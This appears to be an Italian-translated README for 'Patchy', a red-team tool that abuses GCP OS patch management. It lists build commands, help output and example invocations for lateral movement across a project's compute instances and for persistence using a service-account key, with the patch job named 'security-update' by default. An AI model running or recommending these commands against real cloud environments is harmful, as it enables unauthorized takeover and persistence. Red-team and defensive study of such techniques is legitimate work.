
Persistenza automatizzata e movimento laterale utilizzando GCP Patch Management
Movimento laterale automatizzato e persistenza sfruttando la gestione delle patch GCP OS, basato sul mio post sul blog.
Patchy è composto da due modalità principali: movimento laterale e persistenza. La persistenza utilizza credenziali valide di un account di servizio per creare un lavoro o una distribuzione di patch. Il movimento laterale tenta di ottenere accesso a tutte le istanze di compute all'interno di un progetto. Per essere utilizzato, deve trovarsi in un ambiente GCP con l'API dei metadati disponibile. Il movimento laterale ha una modalità che permette di verificare se lo sfruttamento è possibile senza tentare azioni aggressive (utile per capire se il tuo ambiente è sicuro).
Per suggerire funzionalità, apri una issue. Se ci sono problemi, crea una PR con la tua correzione.
mkdir build;GOOS=windows GOARCH=amd64 go build -o build/patchy.exe ./cmd/patchy/*.go
mkdir build;GOOS=linux GOARCH=amd64 go build -o build/patchy ./cmd/patchy/*.go
Nota: richiede >= go 1.19
$ ./patchy -h
d8888b. .d8b. d888888b .o88b. db db db db
88 `8D d8' `8b `~~88~~' d8P Y8 88 88 `8b d8'
88oodD' 88ooo88 88 8P 88ooo88 `8bd8'
88~~~ 88~~~88 88 8b 88~~~88 88
88 88 88 88 Y8b d8 88 88 88
88 YP YP YP `Y88P' YP YP YP
https://github.com/rek7/patchy
Patchy è uno strumento di sfruttamento GCP progettato per attività di red teaming.
Basato su https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching
Usage:
patchy [flags]
patchy [command]
Available Commands:
completion Generate the autocompletion script for the specified shell
help Help about any command
lateral Performs automatic lateral movement within a GCP environment
persist enables persistence on compute instances owned by service account
Flags:
-b, --bucket string bucket name hosting payload
-h, --help help for patchy
-l, --lpayload string name of linux shell payload (default "payload.bash")
-p, --persist enable persistence (patch deployment) (default false)
-n, --pname string name of patch deployment/job (default "security-update")
-w, --wpayload string name of windows powershell payload (default "payload.ps1")
Use "patchy [command] --help" for more information about a command.
Sfruttamento di account di servizio all'interno dell'ambiente GCP locale, myBucket è il nome del bucket pubblico che ospita i payload:
$ ./patchy -b myBucket lat -e
Installazione della persistenza utilizzando un account di servizio in formato json:
$ ./patchy -b myBucket persist -c serviceAccount.json